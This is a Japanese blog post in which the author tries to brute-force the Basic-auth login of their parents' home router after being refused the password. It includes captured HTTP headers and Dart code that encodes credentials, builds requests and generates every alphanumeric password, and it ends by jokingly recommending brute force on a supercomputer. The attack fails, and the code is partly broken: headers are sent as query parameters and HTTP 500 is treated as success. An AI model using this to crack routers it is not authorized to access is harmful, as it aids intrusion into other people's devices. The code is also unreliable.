親にルータブロックされたのでブルートフォースする
📅2024-12-07
親にルータブロックされたのでブルートフォースする
こんにちは、K.Y.(HN Rerurate_514)です。 本日はアドベントカレンダー三作目です。 本当は綺麗なコードを書くための手法みたいな記事を書きたかったのですが、ちょっとこれも面白そうだったので書くことにします。
まずブルートフォースするにあたった経緯なんですが、まず私はサーバーを建てたいと思っていました。80番とか、主に25565番ですがw。ただポート開放が上手くできなくて調べると、ルータの設定が障害になっていることを突き詰めました。
それで私の両親にルータのパスワードを教えてもらおうとしたのですが、私の父がエンジニアで下手に知識があるのでポート解放させてくれませんでした。 まあなんのセキュリティソフトもファイアウォールもあんまりいじってないので、危険って言われたら危険なんですけど。 特に25565番なんて有名でPC初心者が開けっ放しにしてそうですから、攻撃対象になりやすい(かも)しれないですからね。
まあそんなところでパスワードを教えてくれなかったのでじゃあ総当たりしようと試みました。
検証
このURLからルータの設定ができますね。 本当はあまり公開しないほうがいいですが、今回はしょうがないです。 http://192.168.0.1/ この画面を総当たりします。

とりあえず適当にユーザー名とパスワードを入れてリクエストを送ってみました。 ※AI君に頼んで危なそうな部分を塗っておきました。
要求ヘッダ
GET / HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: ja,en;q=0.9,en-GB;q=0.8,en-US;q=0.7
Authorization: Basic ********
Cache-Control: max-age=0
Connection: keep-alive
Host: ***.***.***.***
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (********) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/***.***.0.0 Safari/537.36 Edg/***.***.0.0
要求ヘッダ2
GET / HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: ja,en;q=0.9,en-GB;q=0.8,en-US;q=0.7
Authorization: Basic ********
Cache-Control: max-age=0
Connection: keep-alive
Host: ***.***.***.***
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (********) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/***.***.0.0 Safari/537.36 Edg/***.***.0.0
応答ヘッダ
HTTP/1.1 401 Unauthorized
WWW-Authenticate: Basic realm="********"
Pragma: no-cache
Cache-Control: no-cache, no-store, must-revalidate
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-type: text/html
Transfer-Encoding: chunked
Date: Wed, 17 Jul 2024 11:56:02 GMT
Server: lighttpd/***.***.***
General
要求 URL:http://***.***.***.***/
要求方法 GET
状態コード: 401 Unauthorized
リモート アドレス:***.***.***.***:80
参照元のポリシー:strict-origin-when-cross-origin
GETでリクエストを送って401エラーが返ってきました。 これはログインエラーに表示されるものです。 適当にIDとパスを入れたので当然ですね。
ここでヘッダのAuthentication
フィールドにBasic
と書かれています。 これはユーザー名とパスワードがBase64で変換されることを示します。 ここで試しに
ユーザー名:Rerurate
パスワード:software
と入れてみます。
するとAuthentication
フィールドに
Authentication: Basic UmVydXJhdGU6c29mdHdhcmU=
というような値が返ってきました。 これをBase64でデコードすると、
Rerurate:software
といった値であることがわかりました。
つまり、ユーザー名:パスワード
といったフォーマットでリクエストを送ればいいということです。
ちょっと今回は自分の専門がモバイルなのでFlutterで簡単にUIとそのコードを書いていこうと思います。
実際にコーディング
今回はUIあたりのコードは省略します。 ただこんな感じの簡素なものです。

time
にはかかった時間、 name
とpassword
には現在リクエスト中の組み合わせを表示しています。 もしステータスコード500が返ってきて、ログインに成功したらuntil - ****
ノ部分に表示するようにしています。
そこでいったんBase64変換プログラムを用意しました。
import 'dart:convert';
class Base64Controller{
late final String _encodedText;
String get encodedText => _encodedText;
void encodeText(String name, String password){
String text = "$name:$password";
_encodedText = base64Encode(
utf8.encode(text)
);
}
}
これも見たまんまなので説明はないです。 (書いてる今、思ったのですが、これなんでインスタンス変数にエンコードした値入れてるんですかね?普通にreturnで返せばいいのに())
そしてヘッダを作ってくれるプログラムも作りました。
import 'package:http/http.dart' as http;
class HttpController{
Future<http.Response> getHttp(Uri reqHeader) async {
var response = await http.get(reqHeader);
return response;
}
}
class HeadrCreater{
final String URL = "http://192.168.0.1/";
Uri getHeader(Base64Controller base64){
var req = Uri.http(
URL,
"",
{
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'ja,en;q=0.9,en-GB;q=0.8,en-US;q=0.7',
'Authorization': 'Basic ${base64.encodedText}',
'Cache-Control': 'max-age=0',
'Connection': 'keep-alive',
'Host': '192.168.0.1',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (******) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/****** Safari/537.36 Edg/******'
}
);
return req;
}
}
リクエストの作成にはHttp
パッケージを使用しています。
ここでパスワードとユーザー名の生成なのですが、正直正規表現で表すと^[a-zA-Z0-9]{1,13}$
まであると思ってます。これで記号ありだったら吹きます。 一旦、^[a-zA-Z0-9]{1,13}$
で仮定してこれらをすべて生成するプログラムも書きました。
Future<List<String>> generateCombinations(int length) async {
const characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
List<String> combinations = [];
void recurse(String prefix) {
if (prefix.length == length) {
combinations.add(prefix);
return;
}
for (int i = 0; i < characters.length; i++) {
recurse(prefix + characters[i]);
}
}
recurse('');
print('Generated ${combinations.length} combinations\n$combinations');
return combinations;
}
まさか再帰を使うことになるなんて思いもしませんでした。 ただこのコードちょっと問題があって、^[a-zA-Z0-9]{1,13}$
の組み合わせは62^1 + 62^2 + 62^3 + ... + 63^13
で203,307,695,650,123,380,000,000
x2通りあります。(パスワードとユーザー名でx2) 大体4000垓リクエストを送ることになりますが、これはほぼ無理です。 僕のPCはi7の14世代ですから大体、
import 'dart:io';
void main() {
int logicalCores = Platform.numberOfProcessors;
int recommendedThreads = logicalCores - 1;
print('論理コア数: $logicalCores');//28
print('推奨スレッド数: $recommendedThreads');//27
}
で確認すると、大体28スレッド動かせることになります。 その時、4000垓リクエスト ÷ 28 = 約143垓リクエスト、1秒間に2リクエストぐらい送れるとしても約70垓秒かかることになります。
つまり無理なんです。 以下にブルートフォースが大変かこれで私もわかりました。 試しに2桁でリクエストを送ってやってみたのですが、これもすごい時間がかかったので途中で諦めてしまいました。 最終的に私のポート開放計画はここで失敗に終わってしまいました。
最後に
皆さん、ブルートフォース攻撃をする際にはスパコンとか用意して、GoとかRustとか使ってスレッド処理しましょう。 それかおとなしく親に土下座でもしましょう。私はしません。
<- To Be Continued...